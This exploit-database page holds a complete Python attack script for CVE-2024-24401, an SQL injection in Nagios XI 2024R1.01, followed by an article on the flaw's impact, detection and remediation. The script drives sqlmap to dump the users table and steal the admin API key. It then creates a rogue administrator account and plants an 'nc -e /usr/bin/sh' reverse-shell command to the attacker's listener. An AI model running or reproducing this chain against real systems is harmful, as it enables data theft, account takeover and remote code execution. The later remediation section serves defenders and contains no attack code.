Nagios XI Version 2024R1.01 - SQL Injection

Exploit Author: Jarod Jaslow (MAWK) Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-03-25
# Exploit Title: NAGIOS XI SQLI
# Google Dork: [if applicable]
# Date: 02/26/2024
# Exploit Author: Jarod Jaslow (MAWK) https://www.linkedin.com/in/jarod-jaslow-codename-mawk-265144201/
# Vendor Homepage: https://www.nagios.com/changelog/#nagios-xi
# Software Link: https://github.com/MAWK0235/CVE-2024-24401
# Version: Nagios XI Version 2024R1.01
# Tested on: Nagios XI Version 2024R1.01 LINUX
# CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
#

import requests
import subprocess
import argparse
import re
import urllib3
import os
import random
import string
from colorama import Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def serviceLogin(user,password):
    r = requests.post(f'http://{IP}/nagiosxi/api/v1/authenticate?pretty=1',data={'username':user,'password':password,"valid_min":"5"},verify=False)  
    print(f"{Fore.MAGENTA}[+] Authenticating with captured credtials to API....")
    match = re.search(r'auth_token": "(.*)"',r.text)
    if match:
        token = match.group(1)
        print(f'{Fore.MAGENTA}[+] Token: ' + token)
        r = requests.get(f'http://{IP}/nagiosxi/login.php?token={token}', verify=False)
        cookie = r.headers['Set-Cookie']
        cookie = cookie.split(',')[0]
        match = re.search(r'nagiosxi=(.*);', cookie)
        cookie = match.group(1)
        print(f"{Fore.MAGENTA}[+] Auth cookie is: " + cookie)
        return cookie
    else:
        print(f'{Fore.RED}[-] Authentication Failed..{Style.RESET_ALL}')
        exit()

def sqlmap(IP,username,password):
    
    print(f'{Fore.MAGENTA}[+] Starting SQLMAP...')
    session = requests.session()
    s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
    data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": username, "password": password, "loginButton": ''}
    s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
    print(f"{Fore.MAGENTA}[+] Authenticated as User..")
    print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
    s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
    session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
    print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
    newPass = "mawk"
    data = {"page": "/nagiosxi/login.php", "pageopt": "changepass", "nsp": nsp,"current_password": password, "password1": newPass, "password2": newPass, "reporttimesubmitbutton": ''}
    session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
    s= session.get(f'http://{IP}/nagiosxi/')
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    cookie = s.cookies.get('nagiosxi')
    sqlmap_command = f'sqlmap --flush-session -u "http://{IP}/nagiosxi//config/monitoringwizard.php/1*?update=1&nextstep=2&nsp={nsp}&wizard=mysqlserver" --cookie="nagiosxi={cookie}" --dump -D nagiosxi -T xi_users --drop-set-cookie --technique=ET --dbms=MySQL -p id --risk=3 --level=5 --threads=10 --batch'
    #print(sqlmap_command)
    sqlmap_command_output = subprocess.Popen(sqlmap_command,shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True )
    try:
        for line in iter(sqlmap_command_output.stdout.readline, ''):
            if "| Nagios Administrator |" in line:
                match = re.search(r"Nagios Administrator \| (.*?) \|", line)
                if match:
                    adminKey= match.group(1)
                    print(f"{Fore.MAGENTA}[+] Admin Key recovered: " + adminKey)
                    return adminKey
                else:
                    print(f"{Fore.RED}[-] Could not pull Admin Key :(....{Style.RESET_ALL}")
                    exit()
                break
        print("[-] SQLMAP capture FAILED..")
        sqlmap_command_output.terminate()

    except KeyboardInterrupt:
        print(f"{Fore.RED}[-] SQLMAP interrupted. Cleaning up...{Style.RESET_ALL}")
        sqlmap_command_output.terminate()
        sqlmap_command_output.communicate()
        exit()

def createAdmin(IP,adminKey):
    characters = string.ascii_letters + string.digits
    random_username = ''.join(random.choice(characters) for i in range(5))
    random_password = ''.join(random.choice(characters) for i in range(5))

    data = {"username": random_username, "password": random_password, "name": random_username, "email": f"{random_username}@mail.com", "auth_level": "admin"}
    r = requests.post(f'http://{IP}/nagiosxi/api/v1/system/user?apikey={adminKey}&pretty=1', data=data, verify=False)
    if "success" in r.text:
        print(f'{Fore.MAGENTA}[+] Admin account created...')
        return random_username, random_password
    else:
        print(f'{Fore.RED}[-] Account Creation Failed!!! :(...{Style.RESET_ALL}')
        print(r.text)
        exit()

def start_HTTP_server():
    subprocess.Popen(["python", "-m", "http.server", "8000"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

def adminExploit(adminUsername, adminPassword, IP, LHOST,LPORT):
    print(f"{Fore.MAGENTA}[+] Conducting mandatory password change...")
    session = requests.session()
    s = session.get(f'http://{IP}/nagiosxi/index.php', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    print(f"{Fore.MAGENTA}[+] NSP captured: " + nsp)
    data = {"nsp": nsp, "page": "auth", "debug": '', "pageopt": "login", "username": adminUsername, "password": adminPassword, "loginButton": ''}
    s = session.post(f'http://{IP}/nagiosxi/login.php', data=data)
    print(f"{Fore.MAGENTA}[+] Authenticated as admin..")
    print(f"{Fore.MAGENTA}[+] Accepting license Agreement...")
    s = session.get(f'http://{IP}/nagiosxi/login.php?showlicense', verify=False)
    match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
    nsp = match.group(1)
    data = {"page": "/nagiosxi/login.php", "pageopt": "agreelicense", "nsp": nsp, "agree_license": "on"}
    session.post(f"http://{IP}/nagiosxi/login.php?showlicense", data=data)
    print(f"{Fore.MAGENTA}[+] Performing mandatory password change ARGH")
    newAdminPass = adminUsername + adminPassword
    data = {"page": "/nagiosxi/login.php", "pageopt": "changepass","current_password": adminPassword, "nsp": nsp, "password1": newAdminPass, "password2": newAdminPass, "reporttimesubmitbutton": ''}
    session.post(f"http://{IP}/nagiosxi/login.php?forcepasswordchange", data=data)
    print(f"{Fore.MAGENTA}[+] Creating new command...")
    data = {"tfName": adminUsername, "tfCommand": f"nc -e /usr/bin/sh {LHOST} {LPORT}", "selCommandType": "1", "chbActive": "1", "cmd": "submit", "mode": "insert", "hidId": "0", "hidName": '', "hidServiceDescription": '', "hostAddress": "127.0.0.1", "exactType": "command", "type": "command", "genericType": "command"}
    session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?type=command&page=1', data=data)
    data = {"cmd": '', "continue": ''}
    start_HTTP_server()
    print(f"{Fore.MAGENTA}[+] Created command: " + adminUsername)
    session.post(f'http://{IP}/nagiosxi/includes/components/nagioscorecfg/applyconfig.php?cmd=confirm', data=data)
    data = {"search": adminUsername}
    s = session.post(f'http://{IP}/nagiosxi/includes/components/ccm/index.php?cmd=view&type=command&page=1', data=data)
    match = re.search(r"javascript:actionPic\('deactivate','(.*?)','", s.text)
    if match:
        commandCID = match.group(1)
        print(f"{Fore.MAGENTA}[+] Captured Command CID: " + commandCID)
        s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/?cmd=view&type=service")
        match = re.search(r'var nsp_str = \"(.*?)\"', s.text)
        if match:
            nsp = match.group(1)
            s = session.get(f"http://{IP}/nagiosxi/includes/components/ccm/command_test.php?cmd=test&mode=test&cid={commandCID}&nsp={nsp}")
            os.system("kill -9 $(lsof -t -i:8000)")
            print(f"{Fore.RED}[+] CHECK UR LISTENER")
        else:
            print(f"{Fore.RED}[-] ERROR")
    else:
        print(f"{Fore.RED}[-] Failed to capture Command CID..{Style.RESET_ALL}")




if __name__ == '__main__':
    ascii_art = f"""{Fore.LIGHTRED_EX}
███╗   ███╗ █████╗ ██╗    ██╗██╗  ██╗    ███████╗ ██████╗██████╗ ██╗██████╗ ████████╗███████╗
████╗ ████║██╔══██╗██║    ██║██║ ██╔╝    ██╔════╝██╔════╝██╔══██╗██║██╔══██╗╚══██╔══╝██╔════╝
██╔████╔██║███████║██║ █╗ ██║█████╔╝     ███████╗██║     ██████╔╝██║██████╔╝   ██║   ███████╗
██║╚██╔╝██║██╔══██║██║███╗██║██╔═██╗     ╚════██║██║     ██╔══██╗██║██╔═══╝    ██║   ╚════██║
██║ ╚═╝ ██║██║  ██║╚███╔███╔╝██║  ██╗    ███████║╚██████╗██║  ██║██║██║        ██║   ███████║
╚═╝     ╚═╝╚═╝  ╚═╝ ╚══╝╚══╝ ╚═╝  ╚═╝    ╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝   ╚══════╝
     {Style.RESET_ALL}                                                                                      
    """
    print(ascii_art)
    parser = argparse.ArgumentParser(description="AutoPwn Script for Bizness HTB machine", usage= "sudo Nagios.py <Target IP>  <LHOST> <LPORT>")
    parser.add_argument('IP' ,help= "Target IP ")
    parser.add_argument('LHOST',help= "Local host")
    parser.add_argument('LPORT' ,help= "Listening Port")

    args = parser.parse_args()
    min_required_args = 3
    if len(vars(args)) != min_required_args:
        parser.print_usage()
        exit()

    adminUsername, adminPassword = createAdmin(args.IP, sqlmap(args.IP,input(f"{Fore.MAGENTA}[+] Please insert a non-administrative username: "),input(f"{Fore.MAGENTA}[+] Please insert the password: ")))
    print(f"{Fore.MAGENTA}[+] Admin Username=" + adminUsername)
    print(f"{Fore.MAGENTA}[+] Admin Password=" + adminPassword)
    adminExploit(adminUsername, adminPassword, args.IP,args.LHOST,args.LPORT)


Nagios XI 2024R1.01 — CVE-2024-24401 (SQL Injection): Overview, Impact, and Remediation

This article explains the SQL injection vulnerability identified in Nagios XI version 2024R1.01 (CVE-2024-24401). It covers the nature of the issue, likely impacts, detection strategies, mitigation and remediation guidance, and secure-coding recommendations for developers and administrators responsible for Nagios XI deployments.

Quick summary

  • Vulnerability type: SQL Injection (unsanitized user-controlled input to database queries)
  • Affected product/version: Nagios XI 2024R1.01 (as reported — always validate against vendor advisories)
  • CVE: CVE-2024-24401
  • Potential impact: Database data disclosure, authentication token leakage, account creation or privilege escalation, and — with subsequent misuse of configuration interfaces — potential remote command execution
  • Primary remediation: Apply the official vendor patch or updated Nagios XI release from Nagios

Technical background and root cause

SQL injection (SQLi) occurs when user-controllable input is embedded into SQL queries without proper validation or parameterization. In web applications such as Nagios XI, configuration and monitoring pages often accept parameters that are later used in backend database queries. If those parameters are concatenated directly into SQL strings, an attacker who can send crafted input may manipulate the query logic to read or modify data beyond the intended scope.

In this class of vulnerability the likely root causes include:

  • Direct concatenation of request parameters into SQL statements.
  • Insufficient server-side filtering or lack of prepared statements / parameterized queries.
  • Exposed configuration or monitoring endpoints accessible to authenticated or unauthenticated users.

Potential impact and exploitation chains (high-level)

Although exploitation techniques vary, SQL injection commonly leads to one or more of the following outcomes:

  • Data disclosure: An attacker can read sensitive records stored in the Nagios XI database (user accounts, API keys, configuration data).
  • Authentication bypass / token theft: If API tokens or password hashes are stored in the database, they can be exfiltrated and used to impersonate users or call privileged APIs.
  • Privilege escalation: Exfiltrating administrative credentials or API keys may allow creating or modifying accounts and configurations.
  • Post-exploitation actions: With administrative access, a malicious actor could interact with configuration management components to register commands or services that execute arbitrary system commands — potentially leading to remote code execution (RCE).

Note: The above list is presented at a high level to explain impact without enabling exploitation. Always assume that SQLi on a management product is high-severity because of the sensitive control-plane data involved.

Detection and indicators of compromise (IoCs)

Look for anomalous activity in web server logs, application logs, and database logs. Useful detection signals include:

  • Unexpected HTTP requests to configuration/monitoring endpoints from unusual IPs or times.
  • Requests containing unexpected control characters, quotes, comment tokens, or long sequences of unusual characters in query string parameters.
  • Presence of database-related errors in application responses (e.g., SQL error pages or stack traces) that previously did not appear.
  • Sudden creation of new administrative users, API keys, or changes to command/service configuration.
  • Unusual outbound connections from the Nagios XI host shortly after configuration changes.

Suggested log-review checklist:

  • Search web logs for high-frequency requests to configuration pages and any HTTP method anomalies.
  • Audit the Nagios XI database for newly created user accounts and unexpected API keys.
  • Monitor for changes to command definitions in the UI and for apply-config events that were not planned.

Immediate mitigation steps (short term)

  • Apply network controls to limit access to the Nagios XI web interface to trusted administrative networks (VPNs, IP allowlists).
  • Enable or tune a web application firewall (WAF) to block common injection patterns and unusual request behavior. Use conservative rules to reduce false positives, then harden rules based on observed traffic.
  • Rotate all API keys and administrator credentials after investigating possible compromise.
  • Review and revert any unexpected configuration changes; disable newly created admin accounts until validated.
  • Isolate the Nagios XI host if there is strong evidence of compromise and follow your incident response procedures.

Long-term remediation and hardening

  • Apply vendor patches: Update Nagios XI to the fixed version released by Nagios. Vendor advisories and changelogs are the authoritative source for the correct patched version.
  • Least privilege: Ensure the database account used by Nagios XI has only the privileges it needs — avoid full administrative DB rights if not required.
  • Network segmentation: Keep monitoring systems on protected management networks and limit administrative access via VPN or bastion hosts.
  • Audit and monitoring: Implement continuous monitoring for config changes and anomalous logins; establish alerting for creation of admin accounts and API key issuance.
  • WAF and IDS/IPS: Maintain tuned WAF rules and intrusion detection signatures for your environment.

Secure-coding recommendations (for developers)

Fixing SQL injection requires eliminating direct concatenation of user input into SQL and adopting parameterized queries or prepared statements. Below is a safe example in PHP using PDO that demonstrates how to parameterize queries. This is generic, non-vulnerable code and not tied to any specific Nagios XI endpoint.

// PHP (PDO) example: parameterized SELECT to prevent SQL injection
$dsn = 'mysql:host=DB_HOST;dbname=DB_NAME;charset=utf8mb4';
$options = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES => false,
];

$pdo = new PDO($dsn, 'DB_USER', 'DB_PASS', $options);

// Example: safely querying for a user by username
$sql = 'SELECT id, username, email, auth_level FROM users WHERE username = :username';
$stmt = $pdo->prepare($sql);
$stmt->bindParam(':username', $inputUsername, PDO::PARAM_STR);
$inputUsername = $_POST['username'] ?? '';
$stmt->execute();
$user = $stmt->fetch(PDO::FETCH_ASSOC);

Explanation:

  • The code uses PDO with prepared statements. Placeholders (:username) separate SQL logic from data.
  • bindParam ensures the provided value is treated strictly as data; the driver handles escaping and typing.
  • PDO::ATTR_EMULATE_PREPARES is set to false to use native prepared statements where possible.
  • Apply the same pattern for INSERT, UPDATE, DELETE and any other SQL statements that use user-supplied values.

Developer checklist to prevent SQLi

  • Always use parameterized queries or ORM parameter binding.
  • Validate and canonicalize input on the server side — enforce expected types, lengths and formats.
  • Avoid dynamic SQL construction with user-supplied strings. If dynamic SQL is required, strictly constrain permissible tokens with allowlists.
  • Implement multi-layered defenses: input validation, least privilege DB accounts, and WAF protections.

Operational recommendations for Nagios XI administrators

  • Keep Nagios XI installations updated; subscribe to vendor security advisories and apply recommended patches in a timely manner.
  • Restrict access to Nagios XI UI and APIs; require MFA for administrative accounts when possible.
  • Regularly audit users, roles and API keys; revoke or rotate credentials used by automation or third-party integrations.
  • Harden the host OS (disable unused services, apply OS-level security updates, and limit local access).
  • Back up Nagios XI configuration and data regularly; maintain tested restoration procedures.

Incident response outline if you suspect CVE-2024-24401 was exploited

  • Isolate the affected system from the network to prevent lateral movement.
  • Collect forensic logs (web access logs, application logs, database logs, system logs) and preserve them for analysis.
  • Rotate credentials and API keys used by the application and any accounts potentially exposed.
  • Examine configuration history for unauthorized changes and restore trusted backups if needed.
  • Engage your internal security team or external incident response provider for in-depth analysis.

References

Resource Link
NVD / CVE entry (CVE-2024-24401) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24401
Nagios changelog / vendor advisory https://www.nagios.com/changelog/#nagios-xi

For authoritative mitigation steps and the official patch, consult Nagios’ security advisories and apply updates from the vendor. If you maintain production monitoring infrastructure, plan upgrades and coordinate maintenance windows to minimize operational impact while applying critical fixes.